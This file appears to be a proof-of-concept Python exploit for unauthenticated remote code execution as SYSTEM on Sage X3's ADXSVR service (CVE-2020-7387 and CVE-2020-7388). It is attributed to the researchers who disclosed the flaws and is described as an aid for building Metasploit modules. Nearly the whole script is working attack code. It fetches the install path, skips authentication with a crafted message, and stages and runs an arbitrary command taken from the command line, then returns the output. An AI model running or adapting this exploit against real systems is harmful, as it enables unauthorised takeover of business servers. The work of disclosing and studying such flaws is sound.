#!/usr/bin/python3 from socket import * from random import randint import argparse import time import sys """ Sage X3 Unauthenticated Remote Code Execution as SYSTEM. Exploits Sage's custom ADXSVR service and protocol. CVE-2020-7388 and CVE-2020-7387 Work-in-progress, to be used as an oracle for developing metaspoit modules Currently this successfully implements the ADXDIR command to obtain from the X3 server, the install path to be used in future commands run_cmd leverages the ADXDIR command to generate the messages to send to the X3 according to the protocol exploit_authors = "@deadjakk, @ac3lives (Aaron Herndon)" Discovered and disclosed in December of 2020 """ def encrypt(inp): K_CHARSET = 'cromanwqxfzpgedkvstjhyilu' ret = "" num2 = len(inp) # num2 num = 17 # the 'key' for i in range(0,num2): num5 = ord(inp[i]) num7 = num5/num num10 = (num5 % num) num11 = ord("zxWyZxzvwYzxZXxxZWWyWxYXz"[i]) num12 = num11 - num7 if not num12.is_integer(): num12+=1 ret+= chr(int(num12)) # something wrong here ret+=chr(ord("cromanwqxfzpgedkvstjhyilu"[num10])) # charset k_off = K_CHARSET.find(ret[-1]) if k_off& 1 ==0: ret += chr(ord("cf2tln3yuVkDr7oPaQ8bsSd4x"[k_off])) return ret def recv_timeout(the_socket,timeout=2): #make socket non blocking the_socket.setblocking(0) #total data partwise in an array total_data=[]; data=''; #beginning time begin=time.time() while 1: #if you got some data, then break after timeout if total_data and time.time()-begin > timeout: break #if you have no data at all, wait a little longer, twice the timeout elif time.time()-begin > timeout*2: break #recv something try: data = the_socket.recv(8192) if data: total_data.append(data) #change the beginning time for measurement begin=time.time() else: #sleep for sometime to indicate a gap time.sleep(0.1) except: pass #join all parts to make final string return b''.join(total_data) def adxdir(cmd,ip,port): s=socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) print("connected") buf = b'\x09\x00\x00\x00' s.sendall(buf) res = recv_timeout(s,2) print ("sending directory retrieval message:",buf) print ("received directory from server:",res) return res[8:-1] def runcmd(cmd,ip,port): filename = str(randint(10000000,99999999)) sagedir = adxdir(cmd,ip,port) if not sagedir: print("ADXDIR command failed") sys.exit(1) dec_sagedir = sagedir.decode() # 'delimeters' bufm=b'\x02\x00\x01\x01' bufn=b'\x02\x00\x05\x05\x00\x00\x10\x00' # Buffer 2 # b'\x00\x006\x02\x00.\x00,@D:/Sage/SafeX3/AdxAdmin/tmp/cmd22698965$cmd\x00\x03\x00\x01w' refmt_sagedir = "@{}/tmp/cmd{}$cmd".format( dec_sagedir.replace("\\","/"), filename ) buf2=b'\x00\x00\x36\x02\x00\x2e\x00' # head buf2+= bytes([ len(refmt_sagedir) ]) buf2+=refmt_sagedir.encode() buf2+=b'\x00\x03\x00\x01\x77' # tail #print("buf2------>",buf2) # buffer 3 , command message # b'\x02\x00\x05\x08\x00\x00\x00\x08ipconfig' command = b'\x02\x00\x05\x08\x00\x00\x00' # head command += bytes([ len(cmd) ]) command += cmd.encode() # @D:/Sage/SafeX3/AdxAdmin/tmp/sess98153631\$cmd # \x00\x007\x02\x00/\x00-@D:/Sage/SafeX3/AdxAdmin/tmp/sess49830584$cmd\x00\x03\x00\x01w refmt_sagedir = "@{}/tmp/sess{}$cmd".format( dec_sagedir.replace("\\","/"), filename ) buf4=b'\x00\x00\x37\x02\x00\x2f\x00' # header buf4+= bytes([ len(refmt_sagedir) ]) # length of the sess file name buf4+= refmt_sagedir.encode() # actual sess$cmd filename buf4+=b'\x00\x03\x00\x01\x77' # 'tail' of packet # Buffer 5 you can apparently send this one multple times # b'\x02\x00\x05\x08\x00\x00\x00\x96@echo off\r\nD:\\Sage\\SafeX3\\AdxAdmin\\tmp\\cmd36886416.cmd 1>D:\\Sage\\SafeX3\\adxAdmin\\tmp\\36886416.out 2>D:\\Sage\\SafeX3\\AdxAdmin\\tmp\\36886416.err\r\n@echo on' refmt_sagedir = "@echo off\r\n{}\\tmp\\cmd{}.cmd 1>{}\\tmp\\{}.out 2>{}\\tmp\\{}.err\r\n@echo on".format( dec_sagedir,filename,dec_sagedir,filename,dec_sagedir,filename ) buf5=b'\x02\x00\x05\x08\x00\x00\x00' buf5+=bytes([ len(refmt_sagedir) ]) buf5+= refmt_sagedir.encode() # Buffer 6, staging # \x00\x006\x04\x00.\x00(D:\\Sage\\SafeX3\\AdxAdmin\\tmp\\sess32976937.cmd\x00\x03\x00\x01r refmt_sagedir = "{}\\tmp\\sess{}.cmd".format( dec_sagedir,filename ) buf6=b'\x00\x00\x36\x04\x00\x2e\x00' buf6+=bytes([ len(refmt_sagedir) ]) buf6+= refmt_sagedir.encode() buf6+=b'\x00\x03\x00\x01\x72' # Tail # Buffer 7 apparently unnecessary # \x00\x00/\x07\x08\x00+\x00)@D:/Sage/SafeX3/AdxAdmin/tmp/62145446$out refmt_sagedir = "@{}/tmp/{}$out".format( dec_sagedir.replace("\\","/"), filename ) buf7=b'\x00\x00\x2f\x07\x08\x00\x2b\x00' buf7+= bytes([ len(refmt_sagedir) ]) buf7+=refmt_sagedir.encode() # Buffer 8, very similar to previous but this has a different 'head' and a 'tail' # b'\x00\x003\x02\x00+\x00)@D:/Sage/SafeX3/AdxAdmin/tmp/92218945$out\x00\x03\x00\x01r' refmt_sagedir = "@{}/tmp/{}$out".format( dec_sagedir.replace("\\","/"), filename ) buf8=b'\x00\x00\x33\x02\x00\x2b\x00' buf8+= bytes([ len(refmt_sagedir) ]) buf8+=refmt_sagedir.encode() buf8+=b'\x00\x03\x00\x01\x72' # tail of message ######## command auth s=socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) print("connected") # building the buffer #fbuf = b'\x06.\x08xxxxxxxa\x08xxxxxxxa\x1bCRYPT:txurfQdoszkwhatajokej' fbuf = b'\x06\x00' print('sending command authentication message --->',fbuf) s.send(fbuf) res = s.recv(1024) print('command auth response ---->',res) if len(res) != 4: print ("password incorrect!") sys.exit(1) else: print ("command auth successful") s.send(buf2) res = s.recv(1024) print('sending command --->',command) s.send(command) # recv thing res = s.recv(1024) s.send(bufm) # recv thing res = s.recv(1024) s.send(buf4) # recv thing #print('----> buf4',buf4) res = s.recv(1024) s.send(buf5) # recv thing #print('----> buf5',buf5) res = s.recv(1024) s.send(bufm) # recv thing res = s.recv(1024) s.send(buf6) #print('----> buf6',buf6) res = s.recv(1024) s.send(bufn) res = s.recv(1024) s.send(bufm) res = s.recv(1024) s.send(buf7) #print('----> buf7',buf7) res = s.recv(1024) s.send(buf8) #print('----> buf8',buf8) res = s.recv(1024) s.send(bufn) res = s.recv(4096) s.close() # print('raw-',res) print ("command output:",end="") if res != b'\x00\x00\x00\x01\xae' and res != b'\x00': answer=(res.decode('utf-8',errors='ignore')) return answer return 2 # buffer might be doing weird things, try again if '__main__' == __name__: parser=argparse.ArgumentParser() parser.add_argument('--cmd',help='command to run',required=True) parser.add_argument('--ip',help='remote host ip',required=False,default='10.1.1.2') parser.add_argument('--port',help='remote host ip',required=False,default=50000) args=parser.parse_args() errors =0 result = runcmd(args.cmd,args.ip,int(args.port)) while result == 2 : result = runcmd(args.cmd,args.ip,int(args.port)) if errors > 10: print("too many errors, should have died or worked, sorry") sys.exit(1) print(result)